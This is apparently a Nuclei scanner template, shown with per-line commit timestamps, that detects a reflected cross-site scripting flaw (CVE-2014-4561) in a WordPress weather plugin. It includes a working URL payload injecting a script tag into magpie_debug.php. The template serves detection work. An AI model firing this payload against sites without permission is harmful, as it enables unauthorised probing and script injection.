2021-09-27 11:02:48 +00:00
id : CVE-2014-4561
info :
2022-09-09 17:34:37 +00:00
name : Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting
2021-09-27 11:02:48 +00:00
author : daffainfo
severity : medium
2022-04-22 10:38:41 +00:00
description : The ultimate-weather plugin 1.0 for WordPress contains a cross-site scripting vulnerability.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the plugin's output, potentially leading to the execution of arbitrary code or stealing sensitive information.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to a patched version of the Ultimate Weather Plugin that addresses the XSS vulnerability.
2022-04-22 10:38:41 +00:00
reference :
2021-09-27 11:02:48 +00:00
- https://wpscan.com/vulnerability/5c358ef6-8059-4767-8bcb-418a45b2352d
- https://nvd.nist.gov/vuln/detail/CVE-2014-4561
2022-05-17 09:18:12 +00:00
- http://codevigilant.com/disclosure/wp-plugin-ultimate-weather-plugin-a3-cross-site-scripting-xss/
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2021-09-27 11:14:32 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-27 11:14:32 +00:00
cve-id : CVE-2014-4561
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
epss-score : 0.00098
2024-01-29 17:11:14 +00:00
epss-percentile : 0.40364
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:ultimate-weather_project:ultimate-weather:1.0:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : ultimate-weather_project
product : ultimate-weather
2023-09-06 13:22:34 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2014,cve,wordpress,wp-plugin,xss,weather,wpscan,unauth,ultimate-weather_project
2021-09-27 11:02:48 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-09-27 11:02:48 +00:00
- method : GET
path :
2022-01-25 19:38:53 +00:00
- "{{BaseURL}}/wp-content/plugins/ultimate-weather-plugin/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2021-09-27 11:02:48 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-09-27 11:02:48 +00:00
words :
- '"><script>alert(document.domain)</script>'
- type : word
part : header
words :
- text/html
- type : status
status :
2022-01-04 19:34:16 +00:00
- 200
2024-01-26 08:31:11 +00:00
# digest: 4a0a004730450220196a3a96626595ae36d0d21709dfdc220dbf00f578c68c6c5b0f42d8e7588595022100f54b8f0f0cbdf3b80fdf892fcd8cd3af506817876eaf7423c649caed295d7e30:922c64590222798bb761d5b6d8e72950
